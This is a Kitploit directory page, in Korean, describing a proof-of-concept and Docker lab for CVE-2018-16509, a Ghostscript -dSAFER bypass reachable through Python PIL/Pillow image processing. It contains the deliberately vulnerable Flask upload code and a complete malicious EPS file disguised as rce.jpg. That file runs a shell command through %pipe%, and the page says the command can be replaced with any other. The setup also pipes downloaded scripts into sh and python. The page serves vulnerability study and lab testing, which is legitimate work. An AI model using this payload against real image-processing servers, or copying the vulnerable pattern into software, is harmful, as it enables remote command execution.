Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PIL-RCE-Ghostscript-CVE-2018-16509 — Python PIL/Pillow 원격 셸 명령 실행 취약점(CVE-2018-16509, Ghostscript 경유)을 위한 PoC + Docker 환경 | Kitploit
도구/GitHubGitHub/farisv/pil-rce-ghostscript-cve-2018-16509
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubfarisv/pil-rce-ghostscript-cve-2018-16509

PIL-RCE-Ghostscript-CVE-2018-16509

Python PIL/Pillow 원격 셸 명령 실행 취약점(CVE-2018-16509, Ghostscript 경유)을 위한 PoC + Docker 환경

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
611337년 전Kitploit 검토 완료
공유

Python PIL/Pillow를 통한 Ghostscript CVE-2018-16509 원격 셸 명령 실행

다음에서 영감을 얻었습니다: https://github.com/ysrc/PIL-RCE-By-GhostButt (CVE-2017-8291을 통한 PIL/Pillow RCE). 이 도커 환경 버전은 최신 버전의 Ghostscript(v9.23)와 최신 익스플로잇(CVE-2018-16509)을 사용합니다.

Ghostscript는 Adobe Systems PostScript 및 PDF(휴대용 문서 형식) 페이지 설명 언어를 위한 해석기를 기반으로 한 소프트웨어 제품군입니다. 어쩌다 보니, 프로덕션 서버(예: /usr/local/bin/gs)에 Ghostscript가 존재하는 경우가 많습니다. 어떤 애플리케이션도 직접 사용하지 않더라도, Ghostscript가 다른 소프트웨어(예: ImageMagick)의 종속성으로 설치되기 때문입니다. Ghostscript에서 여러 취약점이 발견되었으며, 그중 하나가 CVE-2018-16509입니다(Google Project Zero의 Tavis Ormandy 발견). 이 취약점은 v9.24 이전 Ghostscript에서 -dSAFER 우회를 악용하여, 실패한 복원(grestore)을 PostScript에서 처리할 때 LockSafetyParams를 비활성화하고 invalidaccess를 회피함으로써 임의 명령을 실행할 수 있게 합니다. 이 취약점은 ImageMagick이나 Ghostscript 래퍼가 있는 프로그래밍 언어의 이미지 라이브러리(PIL/Pillow, 이 예제)를 통해 접근 가능합니다.

설치

테스트 및 개념 증명을 위해 도커 환경에서 익스플로잇을 시도할 수 있습니다.

Ubuntu에 docker/docker-compose 설치:

root@kitploit:~
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python

# Install the latest version docker
curl -s https://get.docker.com/ | sh

# Run docker service
service docker start

# Install docker compose
pip install docker-compose

다른 운영 체제에서의 docker 및 docker-compose 설치 단계는 약간 다를 수 있습니다. 자세한 내용은 docker 문서를 참조하세요.

실행 환경

root@kitploit:~
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git

# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509

# Compile environment
docker-compose build

# Run environment
docker-compose up -d

취약한 Flask 앱은 http://127.0.0.1:8000에서 접근할 수 있습니다. 테스트 후 환경을 중지할 수 있습니다.

root@kitploit:~
docker-compose down -v

익스플로잇

서버에서 touch /tmp/got_rce를 실행하려면 rce.jpg (특수 제작된 EPS 이미지, 실제 JPG가 아님)를 업로드할 수 있습니다. 증명을 위해 docker exec [CONTAINER_ID] ls -alt /tmp를 실행할 수 있습니다. CONTAINER_ID를 얻으려면 docker container ls로 확인하세요. 셸 실행 명령을 다른 명령으로 변경하려면 rce.jpg 내에서 직접 touch /tmp/got_rce를 변경할 수 있습니다.

분석

Tavis Ormandy의 취약점 설명은 oss-security에서 참조할 수 있습니다.

PIL/Pillow의 Ghostscript 래퍼 소스 코드는 EPSImagePlugin.py에서 확인할 수 있습니다.

다음은 app.py의 취약한 코드입니다:

root@kitploit:~
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files.get('image', None)

        if not file:
            flash('No image found')
            return redirect(request.url)

        filename = file.filename
        ext = path.splitext(filename)[1]

        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
            flash('Invalid extension')
            return redirect(request.url)

        tmp = tempfile.mktemp("test")
        img_path = "{}.{}".format(tmp, ext)

        file.save(img_path)

        img = Image.open(img_path)
        w, h = img.size
        ratio = 256.0 / max(w, h)

        resized_img = img.resize((int(w * ratio), int(h * ratio)))
        resized_img.save(img_path)

업로드된 파일의 내용은 img = Image.open(img_path)에 의해 로드됩니다. PIL은 자동으로 이미지가 EPS 이미지인지 감지하고(예: 파일 시작 부분에 %!PS-Adobe-3.0 EPSF-3.0 추가) EPSImagePlugin.py의 EpsImageFile 클래스에서 _open()을 호출합니다. raise IOError("cannot determine EPS bounding box")를 방지하려면 파일에 바운딩 박스를 추가해야 합니다(예: %%BoundingBox: -0 -0 100 100).

EPS 이미지의 본문은 EPSImagePlugin.py의 Ghostscript 함수에서 볼 수 있듯이 subprocess를 통해 Ghostscript 바이너리에 의해 처리됩니다.

root@kitploit:~
    # Build Ghostscript command
    command = ["gs",
               "-q",                         # quiet mode
               "-g%dx%d" % size,             # set output geometry (pixels)
               "-r%fx%f" % res,              # set input DPI (dots per inch)
               "-dBATCH",                    # exit after processing
               "-dNOPAUSE",                  # don't pause between pages
               "-dSAFER",                    # safe mode
               "-sDEVICE=ppmraw",            # ppm driver
               "-sOutputFile=%s" % outfile,  # output file
               "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                             # adjust for image origin
               "-f", infile,                 # input file
               "-c", "showpage",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
               ]


    ....

    try:
        with open(os.devnull, 'w+b') as devnull:
            startupinfo = None
            if sys.platform.startswith('win'):
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            subprocess.check_call(command, stdin=devnull, stdout=devnull,
                                  startupinfo=startupinfo)

위 코드는 Image.py에서 load가 호출될 때 실행되므로 이미지를 여는 것만으로는 취약점이 트리거되지 않습니다. resize, crop, rotate, save와 같은 함수는 load를 호출하여 취약점을 트리거합니다.

Tavis Ormandy의 POC와 결합하여 원격 셸 명령 실행을 위한 rce.jpg를 제작할 수 있습니다.

root@kitploit:~
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
도구 다운로드